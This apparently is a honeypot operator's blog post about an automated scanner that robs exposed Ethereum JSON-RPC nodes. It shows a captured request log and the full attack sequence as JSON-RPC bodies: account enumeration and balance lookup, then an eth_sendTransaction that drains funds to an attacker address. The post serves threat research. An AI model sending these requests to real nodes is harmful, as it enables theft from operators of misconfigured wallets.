Some days ago I catched the following JSON RPC call in my honeypot 🍯 (how could we live without UTF8 symbols like this?):

    "request": {
        "unpersistable": true
    "log_namespace": "saver",
    "log_level": {
        "__class_uuid__": "02e59486-f24d-46ad-8224-3acdf2a5732a",
        "name": "info"
    "log_time": 1510045460.4472082,
    "log_logger": {
        "unpersistable": true
    "log_fl      attened": {
        "request.getPassword()!:": "",
        "request.path!:": "/",
        "request.uri!s:": "b'/'",
        "request.uri!:": "/",
        "request.getClientIP()!:": "",
        "request.method!s:": "b'POST'",
        "request.getUser()!:": "",
        "request.conten!:": "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBlockByNumber\",\"params\":[\"0x1\", false], \"id\":134413}",
        "request.getPassword()!s:": "",
        "!s:": "b'{\"jsonrpc\":\"2.0\",\"method\":\"eth_getBlockByNum      ber\",\"params\":[\"0x1\", false], \"id\":134413}'",
        "request.getClientIP()!s:": "",
        "request.getHost()!:": {
            "unpersistable": true
        "request.method!:": "POST",
        "request.requestHeaders!:": {
            "unpersistable": true
        "req      uest.requestHeaders!s:": "Headers({b'content-type': [b'application/json'], b'host': [b'xx.xx.xx.xx:8545'], b'content-length': [b'86'], b'accept-encoding': [b'gzip'], b'user-agent': [b'Geth/v1.6.1-stable-021c3c28/linux-amd64/go1.8.1'      ], b'connection': [b'close']})",
        "request.path!s:": "b'/'",
        "request.getUser()!s:": "",
        "request.getHost()!s:": "IPv4Address(TCP, 'xx.xx.xx.xx', 8545)"
    "log_format": "\"{request.getClientIP()}\"\"{request.method}\" \"{request.uri}      \" \"{request.path}\" \"{request.requestHeaders}\" \"{request.getUser()}\" \"{request.getPassword()}\" \"{request.getHost()} \"{}\"",
    "log_source": null

After I noticed that these are RPC calls to the Ethereum JSON API I implemented one valid response after another and managed to capture a full Ethereum robbery, which consist basically (to the best of my knowledge) of commands in the following order:

  • get information about block number 1 via eth_getBlockByNumber
body: {"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["0x1", false], "id":134413}
  • get managed accounts via eth_accounts
body: {"jsonrpc":"2.0","method":"eth_accounts","params":[], "id":858524}
  • get client version via web3_clientVersion
body: {"jsonrpc":"2.0","method":"web3_clientVersion","params":[], "id":731341}
  • get the current balance of the previously received account: eth_getBalance
body: {"jsonrpc":"2.0","method":"eth_getBalance","params":["0x3750d6190541d5938739c28dc339ed20d8eafeb8","latest"], "id":764798}
  • steal the gas via eth_sendTransaction from the previously received account
body: {"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{"from":"0x3750d6190541d5938739c28dc339ed20d8eafeb8", "to":"0xcd9da0595a3661897f9879969ec29c0f524f899d", "value":"0x120f24ab84a7a0964000", "gas":"0x5208", "gasPrice":"0x916e2115b1e00"}], "id":136092}

Please notice that the values of the wallet and the balance (both of with the scanner got via the previous mentioned requests) are fictional. They do not exists in the blockchain - the scanner did apparently not recheck the values he got.

As you can see in the full log below the scanner later got in a loop when trying to execute eth_sendTransaction, since i did not implement a response to that call...

The full HTTP header looked like this:

Headers({b'connection': [b'close']
 b'host': [b'xx.xx.xx.xx:8545']
 b'content-type': [b'application/json']
 b'accept-encoding': [b'gzip']
 b'user-agent': [b'Geth/v1.6.1-stable-021c3c28/linux-amd64/go1.8.1']
 b'content-length': [b'86']})

I removed my hosts IP.

Download the full log here.

Update: This article in the news: